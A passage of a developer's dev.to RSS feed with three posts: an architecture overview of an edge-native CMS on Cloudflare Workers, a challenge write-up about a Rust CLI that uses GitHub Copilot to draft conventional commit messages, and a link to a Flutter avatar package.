&lt;p&gt;Give it a spin, and let me know if you run into any schema or connection issues!&lt;/p&gt;

</description>
      <category>ai</category>
      <category>mcp</category>
      <category>qr</category>
      <category>agents</category>
    </item>
    <item>
      <title>Technical Architecture of EZ EDGE CMS</title>
      <dc:creator>Evgenii Zinner</dc:creator>
      <pubDate>Tue, 17 Mar 2026 20:58:02 +0000</pubDate>
      <link>https://dev.to/evgenii_zinner/technical-architecture-of-ez-edge-cms-1hj0</link>
      <guid>https://dev.to/evgenii_zinner/technical-architecture-of-ez-edge-cms-1hj0</guid>
      <description>&lt;p&gt;I developed &lt;a href="https://ez-edge-cms.ezinner.com/" rel="noopener noreferrer"&gt;EZ EDGE CMS&lt;/a&gt; with a specific goal: to create a content management system that runs entirely on Cloudflare Workers without the bloat of traditional frameworks. By moving styling, image processing, and SEO logic to the edge, I’ve eliminated the need for origin servers and complex build pipelines.&lt;/p&gt;

&lt;p&gt;Here is the technical breakdown of the engine and the trade-offs I made to keep it fast.&lt;/p&gt;

&lt;h2&gt;
  
  
  1. Zero-CSS Middleware (with Theme Constraints)
&lt;/h2&gt;

&lt;p&gt;EZ EDGE CMS has no static CSS files. I integrated a Just-In-Time (JIT) &lt;a href="https://unocss.dev/" rel="noopener noreferrer"&gt;UnoCSS&lt;/a&gt; middleware that runs at the edge. When a request is made:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;The middleware scans the HTML content.&lt;/li&gt;
&lt;li&gt;It generates the minimal utility classes required for that specific page.&lt;/li&gt;
&lt;li&gt;It injects the CSS directly into the .
The Restriction: To maintain this performance, you cannot upload custom CSS files. You are limited to built-in themes where you can only customize colors and fonts. This ensures the JIT engine stays lightweight and prevents slowing down the edge isolate.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  2. Edge-Native Image Processing
&lt;/h2&gt;

&lt;p&gt;Instead of relying on external S3 buckets or heavy image transformation services, I handle assets directly within the Worker:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;WebP Conversion &amp;amp; Resizing: When you upload an image, the CMS automatically resizes it and converts it to WebP format. This ensures maximum compression and faster loading times for end-users.&lt;/li&gt;
&lt;li&gt;KV Binary Storage: Images are stored as Uint8Array binaries in Cloudflare KV. They are served from the same edge location as your content.&lt;/li&gt;
&lt;li&gt;Garbage Collection: When you save a page, I've implemented logic that identifies "orphaned" images (assets no longer used in your content) and deletes them from KV to keep your storage costs at zero or near-zero.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  3. Automated SEO &amp;amp; JSON-LD Graphs
&lt;/h2&gt;

&lt;p&gt;I dont like to manually manage metadata, so I automated the SEO layer using Schema.org JSON-LD graphs.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Automated SEO Layer: Replaced manual metadata management with a dynamic system built on Schema.org JSON-LD graphs to provide search engines with a high-accuracy site map.&lt;/li&gt;
&lt;li&gt;Persona Integration: Automatically injects identity data (Organization/Owner) directly into the page structure.&lt;/li&gt;
&lt;li&gt;Dynamic Breadcrumbs: Generates a real-time BreadcrumbList hierarchy that maps the page’s exact position.&lt;/li&gt;
&lt;li&gt;Automated Asset Delivery: Serves optimized Open Graph (OG) images and tailored meta tags without manual updates.&lt;/li&gt;
&lt;li&gt;Structured Metadata: Pulls standard SEO values from the CMS editor.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  4. Script Injection for Interactivity
&lt;/h2&gt;

&lt;p&gt;Since the themes are constrained, I added the ability to inject Global and Page-Related Scripts.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Global Scripts: Useful for adding analytics (like Google Analytics or Plausible) or sitewide chat widgets.&lt;/li&gt;
&lt;li&gt;Page Scripts: Allows you to add specific functionality to a single page without bloating the rest of the site.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  5. Block-Based Editor
&lt;/h2&gt;

&lt;p&gt;To ensure the edge engine receives clean, predictable data, I integrated &lt;a href="https://editorjs.io/" rel="noopener noreferrer"&gt;Editor.js&lt;/a&gt;. Unlike traditional WYSIWYG editors we store and parse a clean JSON structure.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Structured Data: The CMS stores content as JSON blocks, which are then parsed at the edge into semantic HTML.&lt;/li&gt;
&lt;li&gt;Clean Output: This ensures that the JIT CSS engine (mentioned below) only scans valid, structured content, reducing processing overhead.&lt;/li&gt;
&lt;li&gt;Extensibility: I’ve plan to customize editor to handle specific blocks that sync perfectly with the edge-native theme.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  6. Current Technical Restrictions
&lt;/h2&gt;

&lt;p&gt;Being honest about the limitations is part of the "Edge-Native" philosophy. If you use EZ EDGE CMS, you need to be aware of these:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Design Limits: You cannot build a "from-scratch" custom layout. You must work within the parameters of my optimized built-in themes (Colors/Fonts only).&lt;/li&gt;
&lt;li&gt;25MB Value Limit: Cloudflare KV has a hard limit of 25MB per entry. This applies to individual pages and images.&lt;/li&gt;
&lt;li&gt;Propagation Delay: While the updateQueue prevents write errors, it can still take up to 60 seconds for a new post to appear in every single Cloudflare data center globally due to KV's native consistency model.&lt;/li&gt;
&lt;li&gt;Limitation for distributed teams: Currently recommended for solo work; without Durable Objects for atomic locking, simultaneous editing by multiple users is not possible to avoid data loss due to "last write wins" conflicts.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;It is in a POC stage now, I need some time to work with it to shape a finalized vision and fix bugs, but i welcome everyone who willing to try or contribute&lt;br&gt;
See it in action: &lt;a href="https://ez-edge-cms.ezinner.com/" rel="noopener noreferrer"&gt;First website made on EZ EDGE CMS&lt;/a&gt;&lt;br&gt;
Explore the Code: &lt;a href="https://github.com/Evgenii-Zinner/ez-edge-cms" rel="noopener noreferrer"&gt;Source code&lt;/a&gt;&lt;br&gt;
Try it yourself: &lt;a href="https://deploy.workers.cloudflare.com/?url=https://github.com/Evgenii-Zinner/ez-edge-cms" rel="noopener noreferrer"&gt;Deploy to Cloudflare Workers&lt;/a&gt;&lt;/p&gt;

</description>
      <category>webdev</category>
      <category>cloudnative</category>
      <category>cms</category>
    </item>
    <item>
      <title>ez_commit: A Rust CLI for AI-Powered Conventional Commits</title>
      <dc:creator>Evgenii Zinner</dc:creator>
      <pubDate>Thu, 05 Feb 2026 18:44:20 +0000</pubDate>
      <link>https://dev.to/evgenii_zinner/ezcommit-a-rust-cli-for-ai-powered-conventional-commits-44on</link>
      <guid>https://dev.to/evgenii_zinner/ezcommit-a-rust-cli-for-ai-powered-conventional-commits-44on</guid>
      <description>&lt;p&gt;&lt;em&gt;This is a submission for the &lt;a href="https://dev.to/challenges/github-2026-01-21"&gt;GitHub Copilot CLI Challenge&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  What I Built
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;ez_commit&lt;/code&gt; is an interactive Rust-based CLI designed to take the friction out of writing &lt;strong&gt;Conventional Commits&lt;/strong&gt;. It combines a compact Terminal User Interface (TUI) for selecting and staging files with an AI-assisted generation engine.&lt;/p&gt;

&lt;p&gt;The tool enforces a &lt;strong&gt;human-in-the-loop&lt;/strong&gt; model: Copilot suggests a commit draft based on your staged changes, and you review or edit it before it ever touches your git history. &lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Why I built this:&lt;/strong&gt; Maintaining a clean, consistent commit history is vital for changelogs and team collaboration, but it’s often the first thing to slide when developers are in a rush. &lt;code&gt;ez_commit&lt;/code&gt; makes doing the "right thing" the fastest path.&lt;/p&gt;

&lt;h2&gt;
  
  
  Demo
&lt;/h2&gt;

&lt;p&gt;You can find the full source code and installation instructions here:&lt;/p&gt;


&lt;div class="ltag-github-readme-tag"&gt;
  &lt;div class="readme-overview"&gt;
    &lt;h2&gt;
      &lt;img src="https://assets.dev.to/assets/github-logo-5a155e1f9a670af7944dd5e12375bc76ed542ea80224905ecaf878b9157cdefc.svg" alt="GitHub logo"&gt;
      &lt;a href="https://github.com/Evgenii-Zinner" rel="noopener noreferrer"&gt;
        Evgenii-Zinner
      &lt;/a&gt; / &lt;a href="https://github.com/Evgenii-Zinner/ez_commit" rel="noopener noreferrer"&gt;
        ez_commit
      &lt;/a&gt;
    &lt;/h2&gt;
    &lt;h3&gt;
      CLI tool for fast commiting using GitHub copilot
    &lt;/h3&gt;
  &lt;/div&gt;
  &lt;div class="ltag-github-body"&gt;
    
&lt;div id="readme" class="md"&gt;&lt;div class="markdown-heading"&gt;
&lt;h1 class="heading-element"&gt;ez_commit&lt;/h1&gt;
&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;Interactive CLI tool for generating conventional commit messages with AI assistance.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;A simple, fast, and human-in-the-loop commit workflow. Select files, let AI analyze your changes, review the message, and commit—all from the terminal.&lt;/p&gt;
&lt;div class="markdown-heading"&gt;
&lt;h2 class="heading-element"&gt;Features&lt;/h2&gt;
&lt;/div&gt;
&lt;p&gt;✨ &lt;strong&gt;Interactive file selection&lt;/strong&gt; - TUI-based multi-select of changed files&lt;br&gt;
🤖 &lt;strong&gt;AI-powered messages&lt;/strong&gt; - GitHub Copilot integration for smart commit messages&lt;br&gt;
📝 &lt;strong&gt;Conventional Commits&lt;/strong&gt; - Automatically formats to &lt;code&gt;type(scope): description&lt;/code&gt;&lt;br&gt;
✏️ &lt;strong&gt;Manual review&lt;/strong&gt; - Edit the generated message before committing&lt;br&gt;
⚡ &lt;strong&gt;Fallback analyzer&lt;/strong&gt; - Works without Copilot with built-in smart analysis&lt;br&gt;
🔍 &lt;strong&gt;Verbose mode&lt;/strong&gt; - Debug details with &lt;code&gt;-v&lt;/code&gt; flag&lt;/p&gt;
&lt;div class="markdown-heading"&gt;
&lt;h2 class="heading-element"&gt;Quick Start&lt;/h2&gt;
&lt;/div&gt;
&lt;div class="highlight highlight-source-shell notranslate position-relative overflow-auto js-code-highlight"&gt;
&lt;pre&gt;&lt;span class="pl-c"&gt;&lt;span class="pl-c"&gt;#&lt;/span&gt; Build&lt;/span&gt;
cargo build --release

&lt;span class="pl-c"&gt;&lt;span class="pl-c"&gt;#&lt;/span&gt; Run&lt;/span&gt;
./target/release/ez_commit

&lt;span class="pl-c"&gt;&lt;span class="pl-c"&gt;#&lt;/span&gt; With verbose output&lt;/span&gt;
./target/release/ez_commit -v&lt;/pre&gt;

&lt;/div&gt;
&lt;div class="markdown-heading"&gt;
&lt;h2 class="heading-element"&gt;Usage&lt;/h2&gt;

&lt;/div&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Select files&lt;/strong&gt; - Arrow keys to navigate, Space to toggle, Enter to confirm&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Review message&lt;/strong&gt; - AI generates a commit message with summary + bullet points&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Edit (optional)&lt;/strong&gt; - Your editor opens for final tweaks&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Commit&lt;/strong&gt; - Changes…&lt;/li&gt;
&lt;/ol&gt;&lt;/div&gt;
  &lt;/div&gt;
  &lt;div class="gh-btn-container"&gt;&lt;a class="gh-btn" href="https://github.com/Evgenii-Zinner/ez_commit" rel="noopener noreferrer"&gt;View on GitHub&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;


&lt;h3&gt;
  
  
  Screenshots
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvfi3v1kg17zpco5m35e1.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvfi3v1kg17zpco5m35e1.png" alt="*The interactive TUI for staging files.*" width="800" height="451"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbkjefqg8vj5v8ccfyw8t.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbkjefqg8vj5v8ccfyw8t.png" alt="*The AI-assisted commit generation in action.*" width="800" height="451"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  My Experience with GitHub Copilot CLI
&lt;/h2&gt;

&lt;p&gt;I developed this project using an &lt;strong&gt;agentic loop&lt;/strong&gt;, where GitHub Copilot CLI handled much of the heavy lifting. My workflow looked like this:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;  &lt;strong&gt;Initial Design:&lt;/strong&gt; I started with a &lt;code&gt;README.md&lt;/code&gt; acting as a design doc. I described the problem, the required features, and my choice of Rust.&lt;/li&gt;
&lt;li&gt;  &lt;strong&gt;The Agentic Cycle:&lt;/strong&gt; I used Copilot CLI to generate boilerplate and logic from prompts. It was a cycle of: &lt;em&gt;Generate → Build → Copilot read Errors → Fix.&lt;/em&gt;
&lt;/li&gt;
&lt;li&gt;  &lt;strong&gt;Fast Prototyping:&lt;/strong&gt; Copilot produced a working prototype remarkably fast. I spent roughly &lt;strong&gt;three hours total&lt;/strong&gt; on this project—including thinking, waiting for builds, and reviewing results.&lt;/li&gt;
&lt;li&gt;  &lt;strong&gt;The "Premium" Wall:&lt;/strong&gt; I wasn't read docs too thoroughly, so didn't notice that any usage of Copilot CLI count as premium calls, so i spent prompt budget really fast. &lt;/li&gt;
&lt;li&gt; &lt;strong&gt;Granularity of Feedback:&lt;/strong&gt; While Copilot is working on a file, it often reports the number of lines it is changing. However, it would be much more helpful to see the actual code diff directly in the dialogue rather than just numbers. Since it processes one file at a time, seeing the specific logic changes live would allow for much faster verification &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Overall Impression:&lt;/strong&gt; The speed of iteration is the killer feature here. Moving from a blank folder to a Rust CLI with TUI and AI integration in one afternoon felt like having a senior pair-programmer who never gets tired. And I used this tool after first iteration to create commit messages (so some errors are logged in history), it was fun experience.&lt;/p&gt;




&lt;h3&gt;
  
  
  How to Use
&lt;/h3&gt;

&lt;p&gt;&lt;em&gt;To get started with &lt;code&gt;ez_commit&lt;/code&gt; locally:&lt;/em&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Build the project&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;cargo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;build&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;--release&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="c"&gt;# Run the binary&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;\target\release\ez_commit.exe&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Key Features:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;-v, --verbose&lt;/code&gt;: See exactly what's being sent to the AI.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;-s, --skip-copilot&lt;/code&gt;: Use the local fallback analyzer if you're offline or out of credits.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;-d, --diff-limit&lt;/code&gt;: Control how much code context is sent to the model.&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>devchallenge</category>
      <category>githubchallenge</category>
      <category>cli</category>
      <category>githubcopilot</category>
    </item>
    <item>
      <title>I built an app and got tired of manual avatar struggles:
Inconsistent colors for the same user.
Two different users getting the same color.
The fix? Use a hash of the name to generate a color. 

https://pub.dev/packages/ez_circle_avatar</title>
      <dc:creator>Evgenii Zinner</dc:creator>
      <pubDate>Sat, 22 Nov 2025 02:31:52 +0000</pubDate>
      <link>https://dev.to/evgenii_zinner/i-built-an-app-and-got-tired-of-manual-avatar-struggles-inconsistent-colors-for-the-same-user-two-49mo</link>
      <guid>https://dev.to/evgenii_zinner/i-built-an-app-and-got-tired-of-manual-avatar-struggles-inconsistent-colors-for-the-same-user-two-49mo</guid>
      <description>&lt;div class="crayons-card c-embed text-styles text-styles--secondary"&gt;
    &lt;div class="c-embed__content"&gt;
        &lt;div class="c-embed__cover"&gt;
          &lt;a href="https://pub.dev/packages/ez_circle_avatar" class="c-link align-middle" rel="noopener noreferrer"&gt;
            &lt;img alt="" src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fpub.dev%2Fstatic%2Fhash-5bbjhr0s%2Fimg%2Fpub-dev-icon-cover-image.png" height="400" class="m-0" width="800"&gt;
          &lt;/a&gt;
        &lt;/div&gt;
      &lt;div class="c-embed__body"&gt;
        &lt;h2 class="fs-xl lh-tight"&gt;
          &lt;a href="https://pub.dev/packages/ez_circle_avatar" rel="noopener noreferrer" class="c-link"&gt;
            ez_circle_avatar | Flutter package
          &lt;/a&gt;
        &lt;/h2&gt;
          &lt;p class="truncate-at-3"&gt;
            A defensive, accessible, and customizable Flutter avatar widget with automatic initials, deterministic colors, status badges, and tap support.
          &lt;/p&gt;
        &lt;div class="color-secondary fs-s flex items-center"&gt;
            &lt;img alt="favicon" class="c-embed__favicon m-0 mr-2 radius-0" src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fpub.dev%2Fstatic%2Fhash-5bbjhr0s%2Fimg%2Fflutter-logo-32x32.png" width="32" height="32"&gt;
          pub.dev
        &lt;/div&gt;
      &lt;/div&gt;
    &lt;/div&gt;
&lt;/div&gt;


</description>
    </item>
  </channel>
</rss>
